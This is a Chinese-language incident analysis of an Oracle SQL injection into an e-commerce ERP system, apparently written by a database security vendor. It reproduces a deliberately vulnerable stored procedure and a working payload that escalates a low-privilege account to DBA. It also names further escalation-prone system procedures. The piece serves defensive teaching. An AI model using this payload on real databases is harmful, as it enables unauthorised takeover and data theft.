存储过程造成严重安全后门——记某电商SQL注入安全事件实例分析

3月女人节,电商行业自己创办的节日,着实让爱购物的女人们疯狂了一把。默默躲在屏幕背后的黑手,此时也正值忙碌时期。事后,笔者有幸被邀请参与A公司黑客入侵电商ERP系统安全事件的评估分析。黑客采取的手段和事后的原因追查分析,隐去客户信息,分享给大家,警示防范。

事件起由,公司发现电商ERP系统后台数据库(oracle)被SQL注入,特别严重的是应用所用的普通用户账号被提升为DBA权限;所幸的是入侵者并未对数据库的后台数据进行破坏,比如truncate table或drop database,否则后果不堪影响。于是,公司内安全管理员对该账号进行行业内部的信息处理后,作为数据库安全的重要厂商安华金和的渗透研究工程师,笔者也被邀请参与其中,对此次事件的原因和防范措施进行总结。镜头回放,详见下文:

入侵过程概述

线索发生在A公司电商系统对应的web服务器apache日志上面。日志中记录了大量的sql注入行为,笔者分析确定此次入侵是由web注入开始,通过电子商务系统漏洞,黑客获取了当前电子商务系统的一个访问数据库的账号erp_user。这个账号本身只有应用系
统的表访问权限,但是黑客通过应用系统的一个具有注入漏洞的存储过程完成了提权入侵,该存储过程含有参数类型为varchar的函数,通过对于该参数传入“GRANT DBA TO ERP_USER“,完成账号的全部提权工作;经过对源代码的检查,发现在该函数内部,存在通过参数拼接形成SQL语句并执行的代码。

入侵过程重现

为了说明清楚,笔者这里为大家模拟重现一下黑客的入侵过程。

(1)首先我们模拟出开发人员所创建的不安全存储过程:
CREATE OR REPLACE PROCEDURE VULNPROC(STR VARCHAR) 
IS STMT VARCHAR(2000);
BEGIN 
STMT:=‘SELECT * FROM ALL_OBJECTS WHERE OBJECT_NAME = ‘‘‘ || STR ||‘‘‘‘;
EXECUTE IMMEDIATE STMT;
END ;
GRANT EXECUTE ON VULNPROC TO PUBLIC --把该存储过程执行权限赋给public;

(2)其次我们创建一个最低等级的用户账号

创建测试账号用于模拟黑客获得的账号。账号为schina(文中用于重现的数据库是在XP上的11.2.0.1.0)

sqlplus / as sysdba --登录数据库;
create user schina identified by schina --创建测试用户 ;
grant create session to schina --只赋予session权限;
connect schina/schina --登入测试账号;
SELECT * FROM SESSION_PRIVS --查询当前用户权限;

(3)模拟黑客提权

用schina账号登入,调用存储过程VULNPROC中间嵌入提权语句GRANT DBA TO schina。

EXEC
SYS.VULNPROC(‘liusicheng‘‘||SYS.KUPP$PROC.CREATE_MASTER_PROCESS
(‘‘EXECUTE IMMEDIATE ‘‘‘‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN EXECUTE IMMEDIATE ‘‘‘‘‘‘‘‘GRANT DBA TO schina‘‘‘‘‘‘‘‘; 
END;‘‘‘‘;‘‘)||‘‘schina‘);

SET ROLE DBA --成功;

SELECT * FROM USER_ROLE_PRIVS --查询当前用户权限发现已具备DBA权限;

至此入侵结束,整个过程已经完整重现。

通过这次黑客提权入侵过程,我们可以总结出黑客入侵的过程是通过一系列手段完成的。首先通过web应用的漏洞获取一个数据库低权限口令,然后通过某DBA建立的不安全存储过程和某特定系统函数参数对低权限用户进行提权。最终黑客获得一个DBA权限账号。

原因和防护建议

按照模拟的整个过程,我们可以看出,此次黑客入侵主要源于A公司电子商务系统三个方向的安全隐患:

1. web应用系统自身安全

2. oracle数据库的安全机制的缺陷

3. 应用开发商的低级PL/SQL代码

(1)web应用安全的问题与修复建议

安全问题:

web应用程序的编写缺乏对sql注入的防御机制

缺乏专业的web防火墙或数据库防火墙的安全保护措施

解决建议:

对应用软件进行安全升级,改变不规范的书写方式,尽可能使用prepare的方式进行SQL语句执行;

增加输入内容的代码规范检查

定期对web应用进行漏洞扫描,厂商配合对出现的漏洞快速修复

加装WAF等web防火墙,增强抗sql注入能力

在web应用和数据库之间串入数据库防火墙,进一步防止WAF无法识别的sql注入

(2)oracle数据安全机制缺陷

缺陷1

oracle数据库自身的存储过程和函数调用的权限机制存在安全隐患:

用户调用pl/sql子程序的时候,程序在访问所涉及到的底层对象(包括表格等)时,用户不必拥有访问这些对象的权限,只需要用户有该存储过程的执行权限即可;而执行时是参照的是该子程序定义者的权限。

简单说就是如果用创建者只有创建权限,没有执行权限那么即便用sys账号也依旧无法执行。因为执行定义者权限模式的子程序的时候。在子程序中当前账号权限和创建该子程序用户权限一致。虽然这给oracle带来了很大的灵活性,但是会有很大的安全隐患。就像上文的例子一样。黑客可以利用子程序获得和子程序创建者一样高的权限,再以高权限执行恶意代码。黑客可以通过这种手段获得DBA账号、甚至控制整个oracle。

缺陷2

oracle中有些系统函数的参数对输入类型和长度缺乏控制,导致形成注入点。对于这种oracle缺乏控制的的函数的参数需要进一步约束。约束的方法可以等待oracle进行补丁修复后进行补丁升级,也可以通过数据库防火墙对特定函数使用的范围做一定的限制。

缺陷3

Oracle自身存在系统存储过程或函数自身存在提权漏洞,这些系统性的存储过程或函数需要调用者的权限很低,但通过注入的方式,完成将调用者的权限提升到dba,如:
SYS.LT.COMPRESSWORKSPACETREE、SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE、SYS.KUPW$WORKER.MAIN、CTXSYS.DRILOAD.BUILD_DML等。

PL/SQL开发人员的低级错误

1.缺乏对用户输入的限制。对于数据库防提权来讲,最关键的是严格控制用户输入。可以通过动态变量的方法,在指定用户输入时,由具体应用限制传入动态变量中的数据。例如在一定范围内限制使用单引号等特殊字符,不允许出现特定字符串例如 DBA,禁止使用连接符(||)等。

2.严格限制权限,DBA一定要及时收回一些暂时给用户的权限。否则会成为多种sql注入方式滋生的土壤。例如,如果不收回alter session权限。黑客就可以利用alter session 权限修改系统默认参数来完成lateral权限提升攻击。曾经在oracle10g中很多黑客利用MDSYS这个用户对数据库进行恶意攻击。MDSYS能进行一系列攻击的根源就是该用户具备CREATE ANY TRIGGER权限。找到数据库中拥有DBA权限的用户。提取该用户拥有的表中允许 PUBLIC用户执行DML操作的表。MDSYS创建一个具有恶意代码的触发器。将触发器执行一个拥有调用者权限的过程这样就会使得该过程能够以DBA权限执行。执行恶意代码

小结

数据库和web应用自身存在诸多问题,这些问题最佳方式是获取厂商及时发布的修复补丁。
但由于发布时间或服务购买的原因等诸多原因会造成一段漏洞的真空期,这段真空期就需要通过对应的防火墙进行暂时的防护。但实际上真正被黑客入侵的案例中,往往和开发人员或DBA的失误操作密不可分。

为了有效防止这些问题,建议最终用户可以采用如下措施:

(1)采用漏洞扫描工具及时发现在web应用程序、数据库、PL/SQL中存在的问题;当前很少有用户对PL/SQL中的代码进行检查,这样恶意的开发人员或安全意识差的开发人员的程序中往往留下可注入的漏洞或后门;类似于安华金和这样的厂商提供的数据库漏扫工具就具备对高风险的PL/SQL程序进行扫描的能力。
(2)采用数据库防火墙或WEB防火墙对外部黑客的攻击行为进行检查和拦截;安华金和的数据库防火墙,可以有效地对来自于应用的SQL注入进行拦截,甚至那些复杂的能够绕过WAF的攻击行为。

时间: 2024-10-10 14:10:29

存储过程造成严重安全后门——记某电商SQL注入安全事件实例分析的相关文章

电商研发方案 —— 产品模型业务分析和设计

一.方案概述 <Craft6.cn 电子商务研发方案产品模型业务分析和设计>是颜超敏就电子商务系统研发编写的其中一份方案,分为共享版和企业版. 本文的针对产品模型中产品基本信息.产品分类.产品规格.产品属性.产品销售类型.产品定价.产品归属和产品包等业务进行 业务分析和设计,并给出ER图的设计. 对于企业版,还给出本模块详细的数据库设计和开发上的关键业务说明.另外还附带数据库设计文件(pdm)和UML源文件,客户拿到后 可以立即用于研发. 本文档目前共享版和企业版均是V1.1,将会持续更新.

大数据可视化分析电商快销用户画像分析系统开发

大数据的时代,每一个企业都希望从用户数据中分析出有价值的信息.尤其是电商行业,用户画像分析可以让商品推广范围更加精准,从而提升销量.大数据分析系统可以从海量数据分析预测出商品的发展的趋势,提高产品质量,同时提高用户满意度. 用户画像也叫用户信息标签化,根据用户社会属性.生活习惯和消费行为等信息而抽象出的一个标签化的用户模型.在电商的大数据中,可以通过用户的消费习惯,在电商平台上填的信息分析出大致的标签. 大数据可视化电商用户画像分析系统的优势: 1.精准营销:通过用户画像分析后,可以针对潜在用户

专访京东孙海波:大牛架构师养成记及电商供应链中区块链技术的应用(转)

http://geek.csdn.net/news/detail/237595 编者按:每个人的成长曲线不同,有的人在研究生之时就已有相当知名的产品和框架,从而在接下来的工作中一路顺风顺水,有的人缺需要经历一个又一个的坑才能成长,不管是前者的聪明高效,还是后者的笨鸟先飞,他们都是在迈着脚步不断地向前.不妨,我们停下脚步看下一些同行,以激励自己更好地前行.CSDN与你相约SDCC 2017之区块链技术实战线上峰会. 2017年9月23日,SDCC 2017之区块链技术实战线上峰会即将强势来袭,本次

Cloudera Hadoop 4 实战课程(Hadoop 2.0、集群界面化管理、电商在线查询+日志离线分析)

课程大纲及内容简介: 每节课约35分钟,共不下40讲 第一章(11讲) ·分布式和传统单机模式 ·Hadoop背景和工作原理 ·Mapreduce工作原理剖析 ·第二代MR--YARN原理剖析 ·Cloudera Manager 4.1.2安装 ·Cloudera Hadoop 4.1.2 安装 ·CM下集群管理一 ·CM下集群管理二 ·Hadoop fs 命令详解 ·cloudera manager管理集群·cloudera manager下集群高级管理 第二章(约10讲) ·Hive数据表和

电商商品秒杀系统架构分析与实战

网址:http://my.oschina.net/xianggao/blog/524943 0 系列目录 1 秒杀业务分析 2 秒杀技术挑战 3 秒杀架构原则 4 秒杀架构设计 4.1 前端层设计 4.2 站点层设计 4.3 服务层设计 4.4 数据库设计 4.4.1 基本概念 4.4.2 设计思路 5 大并发带来的挑战 5.1 请求接口的合理设计 5.2 高并发的挑战:一定要“快” 5.3 重启与过载保护 6 作弊的手段:进攻与防守 6.1 同一个账号,一次性发出多个请求 6.2 多个账号,一

Linux-某电商网站流量劫持案例分析与思考

[前言] 自腾讯与京东建立了战略合作关系之后,笔者网上购物就首选京东了.某天在家里访问京东首页的时候突然吃惊地发现浏览器突然跳到了第三方网站再回到京东,心里第一个反应就是中木马了. 竟然有这样的事,一定要把木马大卸八块. [原因排查] 首先在重现的情况下抓包,京东官网确实返回了一段Java让浏览器跳转到了yiqifa.com. 下图是应用层的抓包. 服务器返回的代码导致跳转,基本可以排除本地木马,推测是网络或者服务器的问题.根据笔者的经验,这种情况很大可能是链路上的流量劫持攻击.当然也不能排除京

电商产品评论数据情感分析

来自:Python数据分析与数据化运营--宋天龙著 1. 分析方法与过程 本次建模针对京东商城上"美的"品牌热水器的消费者评论数据,在对文本进行基本的机器预处理.中文分词.停用词过滤后,通过建立包括栈式自编码深度学习.语义网络与LDA主题模型等多种数据挖掘模型,实现对文本评论数据的倾向性判断以及所隐藏的信息的挖掘并分析,得到有价值的内在内容. 2. 评论数据预处理 文本数据的预处理主要由3个部分组成:文本去重.机械压缩去词.短句删除. 2.1 文本去重 1. 文本去重,就是去除文本评论

社交电商模式商城APP开发分析

社交电商分销系统商城开发[张玲:⒈⒌⒍微⒉⒉⒎⒏电⒈⒌⒉⒏],社交电商分销软件开发,社交电商分销平台开发 对于创新型的产品,很难做到大而全,最好的突破方法就是做细分领域,走差异化的产品路线.很多产品都是把饼做大了之后,开始做垂直化.其实只要找到了合适的切入点,可以做出很精彩的产品.如今电子阅读类的产品很多,大多以提供正式出版的电子书为主.举例说明:豆瓣阅读则是专注于另一个细分市场,不是以图书出版物为单位,而是允许作者在这里发表还没有集结出版的作品.作为一名优秀的APP设计师应该把思维延伸一下,除

记一次dvwa sql注入爆库

一 前期准备 1 sqlmap在windows环境下需要python2.7的支持,在python官网下载即可 https://www.python.org/ 2 安装python2.7,默认即可.安装完成后需要配置下环境变量.右击计算机->高级系统设置->环境变量,找到系统变量的Path选项,双击,在最后添加;C:\Python27":"必须要有,如果有其他python,可以删掉.这是我的安装路径. 3 按windows+R,输入cmd打开dos界面,输入python进行测